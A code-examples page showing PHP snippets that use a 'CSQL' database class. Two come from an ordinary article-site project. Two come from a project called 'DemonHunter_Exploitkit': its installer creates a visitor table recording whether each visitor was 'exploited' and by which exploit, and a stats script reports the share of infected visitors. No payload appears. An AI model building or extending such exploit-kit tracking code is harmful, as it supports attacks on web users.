PHP CSQL Examples

Example #1

File: CNavigation.php Project: nickeo/Dolphin

	public function articleNavigation($articleId = "", $aEditor = "") {
			
			if(!empty($articleId) && $aEditor == TRUE) {
				$editLink = "<a href='?p=editmessage&amp;articleId={$articleId}' class='articleNav'>Editera artikel</a>";
			} else {
				$editLink = "<a href='' class='articleNavForbidden' title='Ej editerbar' >Editera artikel</a>";
			}
			
		$articleNav = <<< EOD
			<h3>Aktiviteter</h3>
			<hr class='artNav' />
			<a href='?p=newmessage' class='articleNav'>Skriv ny artikel</a>
			<br />
			{$editLink}
			<br />
			<a href='?p=listarticles&amp;articleList=cur' class='articleNav'>Mina artiklar</a>
			<br />
			<a href='?p=listarticles&amp;articleList=all' class='articleNav'>Alla artiklar</a>
			<br />
			<br />
			<h3>Senaste artiklar</h3>
			<hr class='artNav' />
EOD;
		
		//----------------------------- connecting to database
		$db = new CDatabaseController();
		$mysqli = $db->connectToDatabase();
		
		//------------------------------ retrieving and performing query
		$queryObject = new CSQL();
		$query = $queryObject->getLatestArticles();
		$res = $db->performDirectQuery($query);
		
		while($row = $res->fetch_object()) {
			
			$articleId = $row->id;
			$articleTitle = $row->articleTitle;
			$articleNav .= <<< EOD
				<a href='?p=showmessage&amp;articleId={$articleId}' class='articleNav'>{$articleTitle}</a>
				<br />
EOD;
		}
		
		return $articleNav;
	
	}

Example #2

File: CDatabaseController.php Project: nickeo/Dolphin

	public function loadQuery($aQuery) {
		
		$loadSQL = new CSQL();
		
		switch($aQuery) {
		
			case 'install' : $loadQuery = $loadSQL->installDB(); break;
			case 'articleTable' : $loadQuery = $loadSQL->installArticleTable(); break;
			case 'installProcedures' : $loadQuery = $loadSQL->installProcedures(); break;
			case 'tempInstall' : $loadQuery = $loadSQL->installTemp(); break;
			case 'tunatalk' : $loadQuery = $loadSQL->installTunaTalk(); break;
			case 'login' : {
					global $username, $password;
					$username     = $this->iMysqli->real_escape_string($username);
					$password     = $this->iMysqli->real_escape_string($password);
					$loadQuery = $loadSQL->login();
			} break;
			case 'filesArchive' : $loadQuery = $loadSQL->InstallFile(); break;
			default: $loadQuery = '';
		
		}
		
		return $loadQuery;
		
	}

Example #3

File: index.php Project: kurtcoke/DemonHunter_Exploitkit

<?php

include_once '../config.php';
include_once '../include/sql.php';
include_once '../include/visitors.php';
$sql = new CSQL($sqlSettings);
$sql->open();
createTables($sqlSettings);
echo "Installation Complete.<br>";
$sql->close();
function createTables($sqlSettings)
{
    $cq = new CQuery();
    echo "Creating Table " . $sqlSettings['tableVisitorsList'] . "<br>";
    $sql_result = mysql_query(" DROP TABLE IF EXISTS  `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "`");
    $sql_result = mysql_query("\r\n\t\t\t\tCREATE TABLE IF NOT EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "` (\r\n\t\t\t\t`id` INT AUTO_INCREMENT ,\r\n\t\t\t\t`ipAddress` VARCHAR( 16 ),\r\n\t\t\t\t`userAgent` VARCHAR( 400 ),\r\n\t\t\t\t`country` VARCHAR( 400 ),\r\n\t\t\t\t`referrer` VARCHAR( 400 ),\r\n\t\t\t\t`exploited` BOOL,\r\n\t\t\t\t`exploit` VARCHAR( 400 ),\t\t\t\t\r\n\t\t\t\tPRIMARY KEY ( `id` )\r\n\t\t\t\t) ENGINE = MYISAM ;");
    echo "Tables Created.<br>";
}

Example #4

File: update.php Project: kurtcoke/DemonHunter_Exploitkit

<?php

include '../config.php';
include '../include/sql.php';
include '../include/visitors.php';
session_start();
if ($_SESSION["login"] == false) {
    exit;
}
$sql = new CSQL($sqlSettings);
$sql->open();
$cvisitors = new CVisitors($sql, $sqlSettings);
$countVisitors = $cvisitors->getUniqueVisitorsCount();
$countExploitedVisitors = $cvisitors->getVisitorsExploitedCount();
$countNotExploitedVisitors = $countVisitors - $countExploitedVisitors;
if ($countVisitors == 0 || $countExploitedVisitors == 0) {
    $exploitedPercentage = 0;
} else {
    $exploitedPercentage = round($countExploitedVisitors * 100 / $countVisitors, 2);
}
?>

document.getElementById("visitors").innerHTML = <?php 
echo $countVisitors;
?>
;
document.getElementById("exploited").innerHTML = <?php 
echo $countExploitedVisitors;
?>
;
document.getElementById("percentage").innerHTML = <?php